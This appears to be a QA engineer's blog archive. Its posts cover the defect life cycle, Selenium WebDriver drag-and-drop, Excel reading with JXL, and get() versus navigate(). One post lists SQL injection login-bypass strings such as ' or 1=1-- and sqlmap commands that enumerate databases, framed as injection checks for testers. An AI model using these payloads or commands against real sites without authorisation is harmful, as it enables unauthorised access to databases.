মঙ্গলবার, ২৬ জুলাই, ২০১৬

SQL INJECTION


" or 0=0 #
' or 0=0 #
" or 0=0 --
' or 0=0 --
' or 'x'='x


or 0=0 #
'or 'x'='x
" or "x"="x

' or 1=1--
" or 1=1 --
' or a=a --
" or "a"="a"



SQL injection check with post method:

---cd desktop
----cd sqlmap
----sqlmap.py -u "url" --data="usr&pw" --dbs



SQL injection check using url;

--cd desktop
---cd sqlmap
---sqlmap.py -u URL (with id) --dbs.

রবিবার, ১৫ মে, ২০১৬

Popular link for QA Engineer

http://selenium-by-arun.blogspot.com/p/test-automation_16.html

http://toolsqa.com/java/basic-java-programming/data-types-variables/

http://testingbasicinterviewquestions.blogspot.com/search/label/Automation%20Testing

সোমবার, ৯ মে, ২০১৬

Defect/Bug Life Cycle

From the discovery to resolution a defect moves through a definite lifecycle called the defect lifecycle.
Below find the various states that a defects goes through in its lifecycle. The number of states that a defect goes through varies from project to project. Below lifecycle, covers all possible states.
  • New: When a new defect is logged and posted for the first time. It is assigned a status NEW.
  • Assigned: Once the bug is posted by the tester, the lead of the tester approves the bug and assigns the bug to developer team
  • Open: The developer starts analyzing and works on the defect fix
  • Fixed: When developer makes necessary code change and verifies the change, he or she can make bug status as "Fixed."
  • Pending retest:Once the defect is fixed the developer gives particular code for retesting the code to the tester. Since the testing remains pending from the testers end, the status assigned is "pending request."
  • Retest: Tester does the retesting of the code at this stage to check whether the defect is fixed by the developer or not and change the status to "Re-test."

  • Verified: The tester re-tests the bug after it got fixed by the developer. If there is no bugdetected in the software, then the bug is fixed and the status assigned is "verified."
  • Reopen: If the bug persists even after the developer has fixed the bug, the tester changes the status to "reopened". Once again the bug goes through the life cycle.
  • Closed: If the bug is no longer exits then tester assign the status "Closed." 
  • Duplicate: If the defect is repeated twice or the defect corresponds the same concept of the bug, the status is changed to "duplicate."
  • Rejected: If the developer feels the defect is not a genuine defect than it changes the defect to "rejected."
  • Deferred: If the present bug is not of a prime priority and if it is expected to get fixed in the next release, then status "Deferred" is assigned to such bugs
  • Not a bug:If it does not affect the functionality of the application then the status assigned to a bug is "Not a bug".

রবিবার, ১ নভেম্বর, ২০১৫

Drag and Drop using Webdriver Action Class

We have taken example program to perform drag and drop. In the below example, as the DragAndDrop divs are in a Frame, First we need to switch to the frame before performing drag and drop. And then we also need to check for the availability of SourceElement andDestinationElements.
Syntax for drag and drop
Actions action = new Actions(driver);
action.dragAndDrop(Sourcelocator, Destinationlocator).build().perform();
We can also make it as below:
(new Actions(driver)).dragAndDrop(element, target).perform();
We have also used Webdriver Wait Expected conditions to wait for a frame to be available and then switch to the frame.
package com.pack.dragndrop;

import org.openqa.selenium.By;
import org.openqa.selenium.NoSuchElementException;
import org.openqa.selenium.StaleElementReferenceException;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.interactions.Actions;
import org.openqa.selenium.support.ui.ExpectedConditions;
import org.openqa.selenium.support.ui.WebDriverWait;
import org.testng.Assert;
import org.testng.annotations.Test;


public class DragNDropExample {

 WebDriver driver;
 
 @Test
 public void testDragAndDropExample() {
  driver = new FirefoxDriver();
  driver.manage().window().maximize();
  driver.navigate().to("http://jqueryui.com/droppable/");
  //Wait for the frame to be available and switch to it
  WebDriverWait wait = new WebDriverWait(driver, 5);
  wait.until(ExpectedConditions.frameToBeAvailableAndSwitchToIt(By.cssSelector(".demo-frame")));
  WebElement Sourcelocator = driver.findElement(By.cssSelector(".ui-draggable"));
  WebElement Destinationlocator = driver.findElement(By.cssSelector(".ui-droppable"));
  dragAndDrop(Sourcelocator,Destinationlocator);
  String actualText=driver.findElement(By.cssSelector("#droppable>p")).getText();
  Assert.assertEquals(actualText, "Dropped!");
 }
}
We can make use of any of the two DragAndDrop methods. The first method handles exceptions 'StaleElementReferenceException ', 'NoSuchElementException ' and Exception if any unknown exception occurs.
 public void dragAndDrop(WebElement sourceElement, WebElement destinationElement) {
  try {
   if (sourceElement.isDisplayed() && destinationElement.isDisplayed()) {
    Actions action = new Actions(driver);
    action.dragAndDrop(sourceElement, destinationElement).build().perform();
   } else {
    System.out.println("Element was not displayed to drag");
   }
  } catch (StaleElementReferenceException e) {
   System.out.println("Element with " + sourceElement + "or" + destinationElement + "is not attached to the page document "
     + e.getStackTrace());
  } catch (NoSuchElementException e) {
   System.out.println("Element " + sourceElement + "or" + destinationElement + " was not found in DOM "+ e.getStackTrace());
  } catch (Exception e) {
   System.out.println("Error occurred while performing drag and drop operation "+ e.getStackTrace());
  }
 }
The below is the simple method to perform drag and drop. But before performing we also need to check if both the elementsSourceElement and DestinationElements are available.
  public void dragAndDrop(WebElement sourceElement, WebElement destinationElement)
     {
         (new Actions(driver)).dragAndDrop(sourceElement, destinationElement).perform();
     }
}

বৃহস্পতিবার, ২৯ অক্টোবর, ২০১৫

Selenium Automation Framework P8 : Read and Write Data From Excel File


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.selenium.test;

import org.openqa.selenium.WebDriver;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.testng.annotations.Test;
import org.testng.annotations.BeforeTest;
import org.testng.annotations.AfterTest;

import com.selenium.pageObject.LoginPage;
import com.selenium.userAction.SignIn;
import com.selenium.util.ExcelUtil;


public class loginFacebookByExcelData {
  
  private WebDriver driver;
  
  private static String username;
  
  private static String password;
  
 
  
  @BeforeTest
  public void beforeTest() throws Exception {
    
    driver = new FirefoxDriver();
    
    //set file excel is my excel file in folder Driver , you can set the other path to your excel file
    ExcelUtil.setExcelFile(ExcelUtil.PathExcelInProject(), "test");
    //get the data from file excel
    username = ExcelUtil.getCellData(2, 1);
    password = ExcelUtil.getCellData(2, 2);
   
    
  }

  
   @Test
  public void loginByExcel() {
    //Call loading page of login page facebook , take a look in post [Page Object Model] of my blog
   LoginPage.loadPage(driver);
   //Call action SignIn , take a look in post [Modular Driven Framework] of my blogs
   SignIn.Execute(driver, username, password);
    //write data to excel
    String result = "success"
    ExcelUtil.setCellData(result,3,3);
  }
  
  @AfterTest
  public void afterTest() {
    driver.quit();
  }

}

Difference between Webdriver get() and Webdriver navigate()

driver.get("URL")
The first thing you’ll want to do with WebDriver is navigate to a page. The normal way to do this is by calling get:
driver.get("http://www.google.com");
Webdriver will wait until the page has fully loaded before returning the control to test or script. If there many ajax calls in the current page which webdriver is loading then webdriver may not know when it has loaded completely. If you need to make sure such pages are fully loaded then you can use waits.
Earlier, we covered navigating to a page using the get command (driver.get("http://www.example.com")) As you have seen, webdriver has a number of smaller, task-focused interfaces, and navigation is a useful task. Because loading a page is such a fundamental requirement, the method to do this lives on the main Webdriver interface, but it’s simply a synonym to:
driver.navigate().to("http://www.google.com");
navigate().to() and get() do exactly the same thing. One's just a lot easier to type than the other!
The navigate interface also has the ability to move backwards and forwards in your browser’s history:
driver.navigate().refresh();
driver.navigate().forward();
driver.navigate().back();
We can also use Actions class of WebDriver to perform page refresh
Actions actions = new Actions(driver);
actions.keyDown(Keys.CONTROL).sendKeys(Keys.F5).perform();

How to Read Excel file using Java

Normally, to read a data in excel, first we should have access to workbook, sheet which we want to read as workbook contains multiple sheets and if you want to read a particular cell we need location of a Cell.
In this article, we will discuss how to access workbook, sheet and a Cell using Jxl library. You can also consider Apache Poi Library to perform read and write operations with excel sheets.
As we know JXL doesn't support Excel 2007 ".xlsx" file format. It only supports the old BIFF (binary) ".xls" format. Where as Apache POI supports both Excel 2003 - xls and Excel 2007 - xlsx file formats.
To start with gaining access to Workbook, we should always remember the below command:
String FilePath = "d://filepath.xls";
FileInputStream fs = new FileInputStream(FilePath);
Workbook wb = Workbook.getWorkbook(fs);
Or You can also directly send the file as below
Workbook wb = Workbook.getWorkbook(new File("samplefile.xls"));
Now to get the access to the particular sheet, we should use the below command:
Sheet sh = wb.getSheet(0); // this is to get the access to Sheet1. 
If you want to get the access to sheet2, you should specify as below:
Sheet sh = wb.getSheet(1);
You can also get the sheet access by sheet name, you should specify as below:
Sheet sh = wb.getSheet("sheet1");
Now we will get the content in particular location.
String CellGetContent = sh.getCell(0,0).getContents();
System.out.println(CellGetContent);
We can also write it as :
System.out.println(sh.getCell(0,0).getContents());
There is an other style to get the cell contents as below:
Cell Row0Col0 = sheet.getCell(0,0);
Cell Row1Col1 = sheet.getCell(1,1);
String FirstRowFirstColumn = Row0Col0.getContents();
String SecondRowSecondColumn = Row1Col1.getcontents();
The below is the input sheet for the example program:
excel sheet
Please find the below code in which we will read a data from excel sheet and print using for loop
package com.pack;

import java.io.FileInputStream;
import java.io.IOException;
import jxl.Sheet;
import jxl.Workbook;
import jxl.read.biff.BiffException;

public class ReadExcelFile {
 
 public void readExcel() throws BiffException, IOException {
  String FilePath = "D:\\sampledoc.xls";
  FileInputStream fs = new FileInputStream(FilePath);
  Workbook wb = Workbook.getWorkbook(fs);

  // TO get the access to the sheet
  Sheet sh = wb.getSheet("Sheet1");

  // To get the number of rows present in sheet
  int totalNoOfRows = sh.getRows();

  // To get the number of columns present in sheet
  int totalNoOfCols = sh.getColumns();

  for (int row = 0; row < totalNoOfRows; row++) {

   for (int col = 0; col < totalNoOfCols; col++) {
    System.out.print(sh.getCell(col, row).getContents() + "\t");
   }
   System.out.println();
  }
 }

 public static void main(String args[]) throws BiffException, IOException {
  ReadExcelFile DT = new ReadExcelFile();
  DT.readExcel();
 }
}
The output of the below program is:
Username password
testuser1 testpassword1
testuser2 testpassword2
testuser3 testpassword3
testuser4 testpassword4
Hope the above code works. Please let me know if you face any problems. Thank you.